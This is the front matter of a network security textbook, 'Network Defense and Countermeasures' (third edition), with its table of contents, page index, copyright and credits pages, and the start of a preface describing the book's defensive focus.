



THIRD EDITION

NETWORK DEFENSE AND COUNTERMEASURES

Principles and Practices

CHUCK EASTTOM



Contents

1. Cover Page
2. Title Page
3. Copyright Page
4. Contents at a Glance
5. Contents
6. About This E-Book
7. Preface
8. About the Author
9. Dedication
10. Acknowledgments
11. About the Technical Reviewers
12. We Want to Hear from You!
13. Reader Services
14. Chapter 1: Introduction to Network Security

1. Introduction
2. The Basics of a Network

1. Basic Network Structure
2. Data Packets
3. IP Addresses
4. Uniform Resource Locators
5. MAC Addresses
6. Protocols

3. Basic Network Utilities

1. ipconfig
2. ping

3. tracert
4. netstat

4. The OSI Model
5. What Does This Mean for Security?
6. Assessing Likely Threats to the Network
7. Classifications of Threats

1. Malware
2. Compromising System Security—Intrusions
3. Denial of Service

8. Likely Attacks
9. Threat Assessment
10. Understanding Security Terminology

1. Hacking Terminology
2. Security Terminology

11. Choosing a Network Security Approach

1. Perimeter Security Approach
2. Layered Security Approach
3. Hybrid Security Approach

12. Network Security and the Law
13. Using Security Resources
14. Summary

15. Chapter 2: Types of Attacks

1. Introduction
2. Understanding Denial of Service Attacks

1. DoS in Action
2. SYN Flood
3. Smurf Attack
4. Ping of Death
5. UDP Flood
6. ICMP Flood
7. DHCP Starvation
8. HTTP Post DoS
9. PDoS
10. Distributed Reflection Denial of Service
11. DoS Tools
12. Real-World Examples
13. Defending Against DoS Attacks

3. Defending Against Buffer Overflow Attacks
4. Defending Against IP Spoofing
5. Defending Against Session Hijacking
6. Blocking Virus and Trojan Horse Attacks

1. Viruses
2. Types of Viruses
3. Trojan Horses

7. Summary

16. Chapter 3: Fundamentals of Firewalls

1. Introduction
2. What Is a Firewall?
 1. Types of Firewalls
 2. Packet Filtering Firewall
 3. Stateful Packet Inspection
 4. Application Gateway
 5. Circuit Level Gateway

6. Hybrid Firewalls
7. Blacklisting/Whitelisting

3. Implementing Firewalls

1. Host-Based
2. Dual-Homed Hosts
3. Router-Based Firewall
4. Screened Hosts

4. Selecting and Using a Firewall

1. Using a Firewall

5. Using Proxy Servers

1. The WinGate Proxy Server
2. NAT

6. Summary

17. Chapter 4: Firewall Practical Applications

1. Introduction
2. Using Single Machine Firewalls
3. Windows 10 Firewall
4. User Account Control
5. Linux Firewalls
 1. Iptables
 2. Symantec Norton Firewall
 3. McAfee Personal Firewall

6. Using Small Office/Home Office Firewalls

1. SonicWALL
2. D-Link DFL-2560 Office Firewall

7. Using Medium-Sized Network Firewalls

1. Check Point Firewall
2. Cisco Next-Generation Firewalls

8. Using Enterprise Firewalls

9. Summary

18. Chapter 5: Intrusion-Detection Systems

1. Introduction
2. Understanding IDS Concepts

1. Preemptive Blocking
2. Anomaly Detection

3. IDS Components and Processes
4. Understanding and Implementing IDSs

1. Snort
2. Cisco Intrusion-Detection and Prevention

5. Understanding and Implementing Honeypots

1. Specter
2. Symantec Decoy Server
3. Intrusion Deflection
4. Intrusion Deterrence

6. Summary

19. Chapter 6: Encryption Fundamentals

1. Introduction

2. The History of Encryption

1. The Caesar Cipher
2. ROT 13
3. Atbash Cipher
4. Multi-Alphabet Substitution
5. Rail Fence
6. Vigenère
7. Enigma
8. Binary Operations

3. Learning About Modern Encryption Methods

1. Symmetric Encryption
2. Key Stretching
3. PRNG
4. Public Key Encryption
5. Digital Signatures

4. Identifying Good Encryption

5. Understanding Digital Signatures and Certificates

1. Digital Certificates
2. PGP Certificates
3. MD5
4. SHA
5. RIPEMD
6. HAVAL

6. Understanding and Using Decryption

7. Cracking Passwords

1. John the Ripper
2. Using Rainbow Tables
3. Using Other Password Crackers
4. General Cryptanalysis

8. Steganography
9. Steganalysis
10. Quantum Computing and Quantum Cryptography
11. Summary

20. Chapter 7: Virtual Private Networks

1. Introduction
2. Basic VPN Technology
3. Using VPN Protocols for VPN Encryption

1. PPTP
2. PPTP Authentication
3. L2TP
4. L2TP Authentication
5. L2TP Compared to PPTP

4. IPSec
5. SSL/TLS
6. Implementing VPN Solutions

1. Cisco Solutions
2. Service Solutions
3. Openswan
4. Other Solutions

7. Summary

21. Chapter 8: Operating System Hardening

1. Introduction
2. Configuring Windows Properly
 1. Accounts, Users, Groups, and Passwords
 2. Setting Security Policies
 3. Registry Settings
 4. Services
 5. Encrypting File System
 6. Security Templates
3. Configuring Linux Properly
4. Patching the Operating System
5. Configuring Browsers
 1. Securing Browser Settings for Microsoft Internet Explorer
 2. Other Browsers
6. Summary

22. Chapter 9: Defending Against Virus Attacks

1. Introduction
2. Understanding Virus Attacks
 1. What Is a Virus?
 2. What Is a Worm?
 3. How a Virus Spreads
 4. The Virus Hoax
 5. Types of Viruses
3. Virus Scanners
 1. Virus Scanning Techniques

2. Commercial Antivirus Software

4. Antivirus Policies and Procedures
5. Additional Methods for Defending Your System
6. What to Do If Your System Is Infected by a Virus

1. Stopping the Spread of the Virus
2. Removing the Virus
3. Finding Out How the Infection Started

7. Summary

23. Chapter 10: Defending Against Trojan Horses, Spyware, and Adware

1. Introduction
2. Trojan Horses
 1. Identifying Trojan Horses
 2. Symptoms of a Trojan Horse
 3. Why So Many Trojan Horses?
 4. Preventing Trojan Horses

3. Spyware and Adware

1. Identifying Spyware and Adware
2. Anti-Spyware
3. Anti-Spyware Policies

4. Summary

24. Chapter 11: Security Policies

1. Introduction

2. Defining User Policies

1. Passwords
2. Internet Use Policy
3. E-mail Attachments
4. Software Installation and Removal
5. Instant Messaging
6. Desktop Configuration
7. Final Thoughts on User Policies

3. Defining System Administration Policies

1. New Employees
2. Leaving Employees
3. Change Requests
4. Security Breaches

4. Defining Access Control
5. Defining Developmental Policies
6. Summary

25. Chapter 12: Assessing System Security

1. Introduction
2. Risk Assessment Concepts
3. Evaluating the Security Risk
4. Conducting the Initial Assessment

1. Patches
2. Ports
3. Protect
4. Physical

5. Probing the Network

1. NetCop
2. NetBrute
3. Cerberus
4. Port Scanner for Unix: SATAN
5. SAINT
6. Nessus
7. NetStat Live
8. Active Ports
9. Other Port Scanners
10. Microsoft Baseline Security Analyzer
11. NSAuditor
12. NMAP

6. Vulnerabilities

1. CVE
2. NIST
3. OWASP

7. McCumber Cube

1. Goals
2. Information States
3. Safeguards

8. Security Documentation

1. Physical Security Documentation
2. Policy and Personnel Documentation
3. Probe Documents
4. Network Protection Documents

9. Summary

26. Chapter 13: Security Standards

1. Introduction
2. COBIT
3. ISO Standards
4. NIST Standards

1. NIST SP 800-14
2. NIST SP 800-35
3. NIST SP 800-30 Rev. 1

5. U.S. DoD Standards
6. Using the Orange Book

1. D - Minimal Protection
2. C - Discretionary Protection
3. B - Mandatory Protection
4. A - Verified Protection

7. Using the Rainbow Series
8. Using the Common Criteria
9. Using Security Models

1. Bell-LaPadula Model
2. Biba Integrity Model
3. Clark-Wilson Model
4. Chinese Wall Model
5. State Machine Model

10. U.S. Federal Regulations, Guidelines, and Standards

1. The Health Insurance Portability & Accountability Act of 1996 (HIPAA)
2. HITECH
3. Sarbanes-Oxley (SOX)

4. Computer Fraud and Abuse Act (CFAA): 18 U.S. Code § 1030
5. Fraud and Related Activity in Connection with Access Devices: 18 U.S. Code § 1029
6. General Data Protection Regulation (GDPR)
7. PCI DSS

11. Summary

27. Chapter 14: Physical Security and Disaster Recovery

1. Introduction

2. Physical Security

1. Equipment Security
2. Securing Building Access
3. Monitoring
4. Fire Protection
5. General Premises Security

3. Disaster Recovery

1. Disaster Recovery Plan
2. Business Continuity Plan
3. Determining Impact on Business
4. Testing Disaster Recovery
5. Disaster Recovery Related Standards

4. Ensuring Fault Tolerance

5. Summary

28. Chapter 15: Techniques Used by Attackers

1. Introduction

2. Preparing to Hack

1. Passively Searching for Information
2. Active Scanning
3. NSAuditor
4. Enumerating
5. Nmap
6. Shodan.io
7. Manual Scanning

3. The Attack Phase

1. Physical Access Attacks
2. Remote Access Attacks

4. Wi-Fi Hacking

5. Summary

29. Chapter 16: Introduction to Forensics

1. Introduction

2. General Forensics Guidelines

1. EU Evidence Gathering
2. Scientific Working Group on Digital Evidence
3. U.S. Secret Service Forensics Guidelines
4. Don't Touch the Suspect Drive
5. Leave a Document Trail
6. Secure the Evidence

3. FBI Forensics Guidelines

4. Finding Evidence on the PC

1. In the Browser

2. In System Logs
3. Recovering Deleted Files
4. Operating System Utilities
5. The Windows Registry

5. Gathering Evidence from a Cell Phone

1. Logical Acquisition
2. Physical Acquisition
3. Chip-off and JTAG
4. Cellular Networks
5. Cell Phone Terms

6. Forensic Tools to Use

1. AccessData Forensic Toolkit
2. EnCase
3. The Sleuth Kit
4. OSForensics

7. Forensic Science
8. To Certify or Not to Certify?
9. Summary

30. Chapter 17: Cyber Terrorism

1. Introduction
2. Defending Against Computer-Based Espionage
3. Defending Against Computer-Based Terrorism
 1. Economic Attack
 2. Compromising Defense
 3. General Attacks
 4. China Eagle Union

4. Choosing Defense Strategies

1. Defending Against Information Warfare
2. Propaganda
3. Information Control
4. Actual Cases
5. Packet Sniffers

5. Summary

31. Appendix A: Answers
32. Glossary
33. Index

1. i
2. ii
3. iii
4. iv
5. v
6. vi
7. vii
8. viii
9. ix
10. x
11. xi
12. xii
13. xiii
14. xiv
15. xv
16. xvi
17. xvii
18. xviii
19. xix
20. xx
21. xxi

- 22. 1
- 23. 2
- 24. 3
- 25. 4
- 26. 5
- 27. 6
- 28. 7
- 29. 8
- 30. 9
- 31. 10
- 32. 11
- 33. 12
- 34. 13
- 35. 14
- 36. 15
- 37. 16
- 38. 17
- 39. 18
- 40. 19
- 41. 20
- 42. 21
- 43. 22
- 44. 23
- 45. 24
- 46. 25
- 47. 26
- 48. 27
- 49. 28
- 50. 29
- 51. 30
- 52. 31
- 53. 32
- 54. 33
- 55. 34
- 56. 35
- 57. 36

58.	<u>37</u>
59.	<u>38</u>
60.	<u>39</u>
61.	<u>40</u>
62.	<u>41</u>
63.	<u>42</u>
64.	<u>43</u>
65.	<u>44</u>
66.	<u>45</u>
67.	<u>46</u>
68.	<u>47</u>
69.	<u>48</u>
70.	<u>49</u>
71.	<u>50</u>
72.	<u>51</u>
73.	<u>52</u>
74.	<u>53</u>
75.	<u>54</u>
76.	<u>55</u>
77.	<u>56</u>
78.	<u>57</u>
79.	<u>58</u>
80.	<u>59</u>
81.	<u>60</u>
82.	<u>61</u>
83.	<u>62</u>
84.	<u>63</u>
85.	<u>64</u>
86.	<u>65</u>
87.	<u>66</u>
88.	<u>67</u>
89.	<u>68</u>
90.	<u>69</u>
91.	<u>70</u>
92.	<u>71</u>
93.	<u>72</u>

- 94. 73
- 95. 74
- 96. 75
- 97. 76
- 98. 77
- 99. 78
- 100. 79
- 101. 80
- 102. 81
- 103. 82
- 104. 83
- 105. 84
- 106. 85
- 107. 86
- 108. 87
- 109. 88
- 110. 89
- 111. 90
- 112. 91
- 113. 92
- 114. 93
- 115. 94
- 116. 95
- 117. 96
- 118. 97
- 119. 98
- 120. 99
- 121. 100
- 122. 101
- 123. 102
- 124. 103
- 125. 104
- 126. 105
- 127. 106
- 128. 107
- 129. 108

130.	<u>109</u>
131.	<u>110</u>
132.	<u>111</u>
133.	<u>112</u>
134.	<u>113</u>
135.	<u>114</u>
136.	<u>115</u>
137.	<u>116</u>
138.	<u>117</u>
139.	<u>118</u>
140.	<u>119</u>
141.	<u>120</u>
142.	<u>121</u>
143.	<u>122</u>
144.	<u>123</u>
145.	<u>124</u>
146.	<u>125</u>
147.	<u>126</u>
148.	<u>127</u>
149.	<u>128</u>
150.	<u>129</u>
151.	<u>130</u>
152.	<u>131</u>
153.	<u>132</u>
154.	<u>133</u>
155.	<u>134</u>
156.	<u>135</u>
157.	<u>136</u>
158.	<u>137</u>
159.	<u>138</u>
160.	<u>139</u>
161.	<u>140</u>
162.	<u>141</u>
163.	<u>142</u>
164.	<u>143</u>
165.	<u>144</u>

166.	<u>145</u>
167.	<u>146</u>
168.	<u>147</u>
169.	<u>148</u>
170.	<u>149</u>
171.	<u>150</u>
172.	<u>151</u>
173.	<u>152</u>
174.	<u>153</u>
175.	<u>154</u>
176.	<u>155</u>
177.	<u>156</u>
178.	<u>157</u>
179.	<u>158</u>
180.	<u>159</u>
181.	<u>160</u>
182.	<u>161</u>
183.	<u>162</u>
184.	<u>163</u>
185.	<u>164</u>
186.	<u>165</u>
187.	<u>166</u>
188.	<u>167</u>
189.	<u>168</u>
190.	<u>169</u>
191.	<u>170</u>
192.	<u>171</u>
193.	<u>172</u>
194.	<u>173</u>
195.	<u>174</u>
196.	<u>175</u>
197.	<u>176</u>
198.	<u>177</u>
199.	<u>178</u>
200.	<u>179</u>
201.	<u>180</u>

202.	<u>181</u>
203.	<u>182</u>
204.	<u>183</u>
205.	<u>184</u>
206.	<u>185</u>
207.	<u>186</u>
208.	<u>187</u>
209.	<u>188</u>
210.	<u>189</u>
211.	<u>190</u>
212.	<u>191</u>
213.	<u>192</u>
214.	<u>193</u>
215.	<u>194</u>
216.	<u>195</u>
217.	<u>196</u>
218.	<u>197</u>
219.	<u>198</u>
220.	<u>199</u>
221.	<u>200</u>
222.	<u>201</u>
223.	<u>202</u>
224.	<u>203</u>
225.	<u>204</u>
226.	<u>205</u>
227.	<u>206</u>
228.	<u>207</u>
229.	<u>208</u>
230.	<u>209</u>
231.	<u>210</u>
232.	<u>211</u>
233.	<u>212</u>
234.	<u>213</u>
235.	<u>214</u>
236.	<u>215</u>
237.	<u>216</u>

238.	<u>217</u>
239.	<u>218</u>
240.	<u>219</u>
241.	<u>220</u>
242.	<u>221</u>
243.	<u>222</u>
244.	<u>223</u>
245.	<u>224</u>
246.	<u>225</u>
247.	<u>226</u>
248.	<u>227</u>
249.	<u>228</u>
250.	<u>229</u>
251.	<u>230</u>
252.	<u>231</u>
253.	<u>232</u>
254.	<u>233</u>
255.	<u>234</u>
256.	<u>235</u>
257.	<u>236</u>
258.	<u>237</u>
259.	<u>238</u>
260.	<u>239</u>
261.	<u>240</u>
262.	<u>241</u>
263.	<u>242</u>
264.	<u>243</u>
265.	<u>244</u>
266.	<u>245</u>
267.	<u>246</u>
268.	<u>247</u>
269.	<u>248</u>
270.	<u>249</u>
271.	<u>250</u>
272.	<u>251</u>
273.	<u>252</u>

274.	<u>253</u>
275.	<u>254</u>
276.	<u>255</u>
277.	<u>256</u>
278.	<u>257</u>
279.	<u>258</u>
280.	<u>259</u>
281.	<u>260</u>
282.	<u>261</u>
283.	<u>262</u>
284.	<u>263</u>
285.	<u>264</u>
286.	<u>265</u>
287.	<u>266</u>
288.	<u>267</u>
289.	<u>268</u>
290.	<u>269</u>
291.	<u>270</u>
292.	<u>271</u>
293.	<u>272</u>
294.	<u>273</u>
295.	<u>274</u>
296.	<u>275</u>
297.	<u>276</u>
298.	<u>277</u>
299.	<u>278</u>
300.	<u>279</u>
301.	<u>280</u>
302.	<u>281</u>
303.	<u>282</u>
304.	<u>283</u>
305.	<u>284</u>
306.	<u>285</u>
307.	<u>286</u>
308.	<u>287</u>
309.	<u>288</u>

- 310. [289](#)
- 311. [290](#)
- 312. [291](#)
- 313. [292](#)
- 314. [293](#)
- 315. [294](#)
- 316. [295](#)
- 317. [296](#)
- 318. [297](#)
- 319. [298](#)
- 320. [299](#)
- 321. [300](#)
- 322. [301](#)
- 323. [302](#)
- 324. [303](#)
- 325. [304](#)
- 326. [305](#)
- 327. [306](#)
- 328. [307](#)
- 329. [308](#)
- 330. [309](#)
- 331. [310](#)
- 332. [311](#)
- 333. [312](#)
- 334. [313](#)
- 335. [314](#)
- 336. [315](#)
- 337. [316](#)
- 338. [317](#)
- 339. [318](#)
- 340. [319](#)
- 341. [320](#)
- 342. [321](#)
- 343. [322](#)
- 344. [323](#)
- 345. [324](#)

346. [325](#)
347. [326](#)
348. [327](#)
349. [328](#)
350. [329](#)
351. [330](#)
352. [331](#)
353. [332](#)
354. [333](#)
355. [334](#)
356. [335](#)
357. [336](#)
358. [337](#)
359. [338](#)
360. [339](#)
361. [340](#)
362. [341](#)
363. [342](#)
364. [343](#)
365. [344](#)
366. [345](#)
367. [346](#)
368. [347](#)
369. [348](#)
370. [349](#)
371. [350](#)
372. [351](#)
373. [352](#)
374. [353](#)
375. [354](#)
376. [355](#)
377. [356](#)
378. [357](#)
379. [358](#)
380. [359](#)
381. [360](#)

382.	<u>361</u>
383.	<u>362</u>
384.	<u>363</u>
385.	<u>364</u>
386.	<u>365</u>
387.	<u>366</u>
388.	<u>367</u>
389.	<u>368</u>
390.	<u>369</u>
391.	<u>370</u>
392.	<u>371</u>
393.	<u>372</u>
394.	<u>373</u>
395.	<u>374</u>
396.	<u>375</u>
397.	<u>376</u>
398.	<u>377</u>
399.	<u>378</u>
400.	<u>379</u>
401.	<u>380</u>
402.	<u>381</u>
403.	<u>382</u>
404.	<u>383</u>
405.	<u>384</u>
406.	<u>385</u>
407.	<u>386</u>
408.	<u>387</u>
409.	<u>388</u>
410.	<u>389</u>
411.	<u>390</u>
412.	<u>391</u>
413.	<u>392</u>
414.	<u>393</u>
415.	<u>394</u>
416.	<u>395</u>
417.	<u>396</u>

418. 397
419. 398
420. 399
421. 400
422. 401
423. 402
424. 403
425. 404
426. 405
427. 406
428. 407
429. 408
430. 409
431. 410
432. 411
433. 412
434. 413
435. 414
436. 415
437. 416
438. 417
439. 418
440. 419
441. 420
442. 421
443. 422
444. 423
445. 424
446. 425
447. 426
448. 427
449. 428
450. 429
451. 430
452. 431
453. 432

454. 433
455. 434
456. 435
457. 436
458. 437
459. 438
460. 439
461. 440
462. 441
463. 442
464. 443
465. 444
466. 445
467. 446
468. 447
469. 448
470. 449
471. 450
472. 451
473. 452
474. 453
475. 454
476. 455
477. 456
478. 457
479. 458
480. 459
481. 460
482. 461
483. 462
484. 463
485. 464
486. 465
487. 466
488. 467
489. 468

490. 469
491. 470
492. 471
493. 472
494. 473
495. 474
496. 475
497. 476
498. 477
499. 478
500. 479
501. 480
502. 481
503. 482
504. 483
505. 484
506. 485
507. 486
508. 487
509. 488
510. 489
511. 490
512. 491
513. 492
514. 493
515. 494
516. 495
517. 496
518. 497
519. 498
520. 499
521. 500
522. 501
523. 502
524. 503
525. 504

526. 505
527. 506
528. 507
529. 508
530. 509
531. 510
532. 511
533. 512
534. 513
535. 514
536. 515
537. 516
538. 517
539. 518
540. 519
541. 520
542. 521
543. 522
544. 523
545. 524

About This E-Book

EPUB is an open, industry-standard format for e-books. However, support for EPUB and its many features varies across reading devices and applications. Use your device or app settings to customize the presentation to your liking. Settings that you can customize often include font, font size, single or double column, landscape or portrait mode, and figures that you can click or tap to enlarge. For additional information about the settings and features on your reading device or app, visit the device manufacturer's Web site.

Many titles include programming code or configuration examples. To optimize the presentation of these elements, view the e-book in single-column, landscape mode and adjust the font size to the smallest setting. In addition to presenting code and configurations in the reflowable text format, we have included images of the code that mimic the presentation found in the print book; therefore, where the reflowable format may compromise the presentation of the code listing, you will see a "Click here to view code image" link. Click the link to view the print-fidelity code image. To return to the previous page viewed, click the Back button on your device or app.

Network Defense and Countermeasures

Principles and Practices

Third Edition

Chuck Easttom



800 East 96th Street, Indianapolis, Indiana 46240 USA

Network Defense and Countermeasures

Copyright © 2018 by Pearson Education, Inc,

All rights reserved. No part of this book shall be reproduced, stored in a retrieval system, or transmitted by any means, electronic, mechanical, photocopying, recording, or otherwise, without written permission from the publisher. No patent liability is assumed with respect to the use of the information contained herein. Although every precaution has been taken in the preparation of this book, the publisher and author assume no responsibility for errors or omissions. Nor is any liability assumed for damages resulting from the use of the information contained herein.

ISBN-13: 978-0-7897-5996-2

ISBN-10: 0-7897-5996-9

Library of Congress Control Number: 2018933854

Printed in the United States of America

1 18

Trademarks

All terms mentioned in this book that are known to be trademarks or service marks have been appropriately

capitalized. Pearson IT Certification cannot attest to the accuracy of this information. Use of a term in this book should not be regarded as affecting the validity of any trademark or service mark.

Microsoft and/or its respective suppliers make no representations about the suitability of the information contained in the documents and related graphics published as part of the services for any purpose. All such documents and related graphics are provided “as is” without warranty of any kind. Microsoft and/or its respective suppliers hereby disclaim all warranties and conditions with regard to this information, including all warranties and conditions of merchantability, whether express, implied or statutory, fitness for a particular purpose, title and non-infringement. In no event shall Microsoft and/or its respective suppliers be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of information available from the services.

The documents and related graphics contained herein could include technical inaccuracies or typographical errors. Changes are periodically added to the information herein. Microsoft and/or its respective suppliers may make improvements and/or changes in

the product(s) and/or the program(s) described herein at any time. Partial screenshots may be viewed in full within the software version specified.

Microsoft® and Windows® are registered trademarks of the Microsoft Corporation in the U.S.A. and other countries. Screenshots and icons reprinted with permission from the Microsoft Corporation. This book is not sponsored or endorsed by or affiliated with the Microsoft Corporation.

Warning and Disclaimer

Every effort has been made to make this book as complete and as accurate as possible, but no warranty or fitness is implied. The information provided is on an “as is” basis. The author and the publisher shall have neither liability nor responsibility to any person or entity with respect to any loss or damages arising from the information contained in this book.

Special Sales

For information about buying this title in bulk quantities, or for special sales opportunities (which may include electronic versions; custom cover designs; and content particular to your business, training goals, marketing focus, or branding interests), please contact our corporate sales department at corpsales@pearsoned.com or (800) 382-3419.

For government sales inquiries, please contact
governmentsales@pearsoned.com.

For questions about sales outside the U.S., please
contact intlcs@pearson.com.

Editor-in-Chief

Mark Taub

Product Line Manager

Brett Bartow

Executive Editor

Mary Beth Ray

Development Editor

Ellie C. Bru

Managing Editor

Sandra Schroeder

Senior Project Editor

Tonya Simpson

Copy Editor

Bill McManus

Indexer

Erika Millen

Proofreader

Abigail Manheim

Technical Editors

Akhil Behl

Steve Kalman

Publishing Coordinator

Vanessa Evans

Cover Designer

Chuti Prasertsith

Compositor

codemantra

Contents at a Glance

Preface

- 1 Introduction to Network Security**
- 2 Types of Attacks**
- 3 Fundamentals of Firewalls**
- 4 Firewall Practical Applications**
- 5 Intrusion-Detection Systems**
- 6 Encryption Fundamentals**
- 7 Virtual Private Networks**
- 8 Operating System Hardening**
- 9 Defending Against Virus Attacks**
- 10 Defending against Trojan Horses, Spyware, and Adware**
- 11 Security Policies**
- 12 Assessing System Security**
- 13 Security Standards**
- 14 Physical Security and Disaster Recovery**
- 15 Techniques Used by Attackers**
- 16 Introduction to Forensics**

17 Cyber Terrorism

Appendix A: Answers

Glossary

Index

Table of Contents

Chapter 1: Introduction to Network Security

Introduction

The Basics of a Network

Basic Network Structure

Data Packets

IP Addresses

Uniform Resource Locators

MAC Addresses

Protocols

Basic Network Utilities

ipconfig

ping

tracert

netstat

The OSI Model

What Does This Mean for Security?

Assessing Likely Threats to the Network

Classifications of Threats

Malware

Compromising System Security—Intrusions

Denial of Service

Likely Attacks

Threat Assessment

Understanding Security Terminology

Hacking Terminology

Security Terminology

Choosing a Network Security Approach

Perimeter Security Approach

Layered Security Approach

Hybrid Security Approach

Network Security and the Law

Using Security Resources

Summary

Chapter 2: Types of Attacks

Introduction

Understanding Denial of Service Attacks

DoS in Action

SYN Flood

Smurf Attack

Ping of Death

UDP Flood

ICMP Flood

DHCP Starvation

HTTP Post DoS

PDoS

Distributed Reflection Denial of Service

DoS Tools

Real-World Examples

Defending Against DoS Attacks

Defending Against Buffer Overflow Attacks

Defending Against IP Spoofing

Defending Against Session Hijacking

Blocking Virus and Trojan Horse Attacks

Viruses

Types of Viruses

Trojan Horses

Summary

Chapter 3: Fundamentals of Firewalls

Introduction

What Is a Firewall?

Types of Firewalls

Packet Filtering Firewall

Stateful Packet Inspection

Application Gateway

Circuit Level Gateway

Hybrid Firewalls

Blacklisting/Whitelisting

Implementing Firewalls

Host-Based

Dual-Homed Hosts

Router-Based Firewall

Screened Hosts

Selecting and Using a Firewall

Using a Firewall

Using Proxy Servers

The WinGate Proxy Server

NAT

Summary

Chapter 4: Firewall Practical Applications

Introduction

Using Single Machine Firewalls

Windows 10 Firewall

User Account Control

Linux Firewalls

Iptables

Symantec Norton Firewall

McAfee Personal Firewall

Using Small Office/Home Office Firewalls

SonicWALL

D-Link DFL-2560 Office Firewall

Using Medium-Sized Network Firewalls

Check Point Firewall

Cisco Next-Generation Firewalls

Using Enterprise Firewalls

Summary

Chapter 5: Intrusion-Detection Systems

Introduction

Understanding IDS Concepts

Preemptive Blocking

Anomaly Detection

IDS Components and Processes

Understanding and Implementing IDSs

Snort

Cisco Intrusion-Detection and Prevention

Understanding and Implementing Honeypots

Specter

Symantec Decoy Server

Intrusion Deflection

Intrusion Deterrence

Summary

Chapter 6: Encryption Fundamentals

Introduction

The History of Encryption

The Caesar Cipher

ROT 13

Atbash Cipher

Multi-Alphabet Substitution

Rail Fence

Vigenère

Enigma

Binary Operations

Learning About Modern Encryption Methods

Symmetric Encryption

Key Stretching

PRNG

Public Key Encryption

Digital Signatures

Identifying Good Encryption

Understanding Digital Signatures and Certificates

Digital Certificates

PGP Certificates

MD5

SHA

RIPEMD

HAVAL

Understanding and Using Decryption

Cracking Passwords

John the Ripper

Using Rainbow Tables

Using Other Password Crackers

General Cryptanalysis

Steganography

Steganalysis

Quantum Computing and Quantum Cryptography

Summary

Chapter 7: Virtual Private Networks

Introduction

Basic VPN Technology

Using VPN Protocols for VPN Encryption

PPTP

PPTP Authentication

L2TP

L2TP Authentication

L2TP Compared to PPTP

IPSec

SSL/TLS

Implementing VPN Solutions

Cisco Solutions

Service Solutions

Openswan

Other Solutions

Summary

Chapter 8: Operating System Hardening

Introduction

Configuring Windows Properly

Accounts, Users, Groups, and Passwords

Setting Security Policies

Registry Settings

Services

Encrypting File System

Security Templates

Configuring Linux Properly

Patching the Operating System

Configuring Browsers

Securing Browser Settings for Microsoft

Internet Explorer

Other Browsers

Summary

Chapter 9: Defending Against Virus Attacks

Introduction

Understanding Virus Attacks

What Is a Virus?

What Is a Worm?

How a Virus Spreads

The Virus Hoax

Types of Viruses

Virus Scanners

Virus Scanning Techniques

Commercial Antivirus Software

Antivirus Policies and Procedures

Additional Methods for Defending Your System

What to Do If Your System Is Infected by a Virus

Stopping the Spread of the Virus

Removing the Virus

Finding Out How the Infection Started

Summary

Chapter 10: Defending Against Trojan Horses, Spyware, and Adware

Introduction

Trojan Horses

Identifying Trojan Horses

Symptoms of a Trojan Horse

Why So Many Trojan Horses?

Preventing Trojan Horses

Spyware and Adware

Identifying Spyware and Adware

Anti-Spyware

Anti-Spyware Policies

Summary

Chapter 11: Security Policies

Introduction

Defining User Policies

Passwords

Internet Use Policy

E-mail Attachments

Software Installation and Removal

Instant Messaging

Desktop Configuration

Final Thoughts on User Policies

Defining System Administration Policies

New Employees

Leaving Employees

Change Requests

Security Breaches

Defining Access Control

Defining Developmental Policies

Summary

Chapter 12: Assessing System Security

Introduction

Risk Assessment Concepts

Evaluating the Security Risk

Conducting the Initial Assessment

Patches

Ports

Protect

Physical

Probing the Network

NetCop

NetBrute

Cerberus

Port Scanner for Unix: SATAN

SAINT

Nessus

NetStat Live

Active Ports

Other Port Scanners

Microsoft Baseline Security Analyzer

NSAuditor

NMAP

Vulnerabilities

CVE

NIST

OWASP

McCumber Cube

Goals

Information States

Safeguards

Security Documentation

Physical Security Documentation

Policy and Personnel Documentation

Probe Documents

Network Protection Documents

Summary

Chapter 13: Security Standards

Introduction

COBIT

ISO Standards

NIST Standards

NIST SP 800-14

NIST SP 800-35

NIST SP 800-30 Rev. 1

U.S. DoD Standards

Using the Orange Book

D - Minimal Protection

C - Discretionary Protection

B - Mandatory Protection

A - Verified Protection

Using the Rainbow Series

Using the Common Criteria

Using Security Models

Bell-LaPadula Model

Biba Integrity Model

Clark-Wilson Model

Chinese Wall Model

State Machine Model

U.S. Federal Regulations, Guidelines, and Standards

The Health Insurance Portability &
Accountability Act of 1996 (HIPAA)

HITECH

Sarbanes-Oxley (SOX)

Computer Fraud and Abuse Act (CFAA): 18
U.S. Code § 1030

Fraud and Related Activity in Connection
with Access Devices: 18 U.S. Code § 1029

General Data Protection Regulation (GDPR)

PCI DSS

Summary

Chapter 14: Physical Security and Disaster Recovery

Introduction

Physical Security

Equipment Security

Securing Building Access

Monitoring

Fire Protection

General Premises Security

Disaster Recovery

Disaster Recovery Plan

Business Continuity Plan

Determining Impact on Business

Testing Disaster Recovery

Disaster Recovery Related Standards

Ensuring Fault Tolerance

Summary

Chapter 15: Techniques Used by Attackers

Introduction

Preparing to Hack

Passively Searching for Information

Active Scanning

NSAuditor

Enumerating

Nmap

Shodan.io

Manual Scanning

The Attack Phase

Physical Access Attacks

Remote Access Attacks

Wi-Fi Hacking

Summary

Chapter 16: Introduction to Forensics

Introduction

General Forensics Guidelines

EU Evidence Gathering

Scientific Working Group on Digital Evidence

U.S. Secret Service Forensics Guidelines

Don't Touch the Suspect Drive

Leave a Document Trail

Secure the Evidence

FBI Forensics Guidelines

Finding Evidence on the PC

In the Browser

In System Logs

Recovering Deleted Files

Operating System Utilities

The Windows Registry

Gathering Evidence from a Cell Phone

Logical Acquisition

Physical Acquisition

Chip-off and JTAG

Cellular Networks

Cell Phone Terms

Forensic Tools to Use

AccessData Forensic Toolkit

EnCase

The Sleuth Kit

OSForensics

Forensic Science

To Certify or Not to Certify?

Summary

Chapter 17: Cyber Terrorism

Introduction

Defending Against Computer-Based Espionage

Defending Against Computer-Based Terrorism

Economic Attack

Compromising Defense

General Attacks

China Eagle Union

Choosing Defense Strategies

Defending Against Information Warfare

Propaganda

Information Control

Actual Cases

Packet Sniffers

Summary

Appendix A: Answers

Glossary

Index

Preface

The hottest topic in the IT industry today is computer security. The news is replete with stories of hacking, viruses, and identity theft. The cornerstone of security is defending the organizational network. *Network Defense and Countermeasures: Principles and Practices* offers a comprehensive overview of network defense. It introduces students to network security threats and methods for defending the network. Three entire chapters are devoted to firewalls and intrusion-detection systems. There is also a chapter providing a basic introduction to encryption. Combining information on the threats to networks, the devices and technologies used to ensure security, as well as concepts such as encryption provides students with a solid, broad-based approach to network defense.

